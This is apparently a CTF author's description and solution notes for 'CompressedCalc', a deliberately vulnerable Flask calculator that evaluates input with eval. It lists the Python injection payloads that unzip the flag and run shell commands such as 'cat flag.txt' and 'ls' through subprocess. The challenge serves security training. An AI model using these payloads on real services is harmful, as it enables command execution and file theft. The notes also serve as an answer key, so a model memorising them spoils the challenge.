CompressedCalc

Jonathan Løseth

This CTF is a vulnerable web calculator written in Python. The vulnerability is the usual culprit eval, but the flag is also a zipped file. This means that the user has to find an injection to first extract the file, before it can be read.

Technical details:

The CTF is written in Python, and uses Flask to provide runtime in web, and have access to requests. The app also uses Docker to load a Linux-instance.

The injections needed to solve the challenge are:

- __import__("zipfile").ZipFile("flag.zip", "r").extractall()
- __import__("subprocess").getoutput("cat flag.txt")

Note: The file can also be read by importing and using the “os” package with python.

Users could also list out the directory by writing:

- __import__("subprocess").getoutput("ls")

A possible hint that would not reveal the solution could be:

“Wonder if the file-size has been tampered with”

The code is very simple, and may have several ways to be solved which i do not know of. This is a pretty easy CTF in itself, and does not need much knowledge to be solved. As long as the user knows of injections, and has an ok understanding of Python, then the solution should come pretty easy.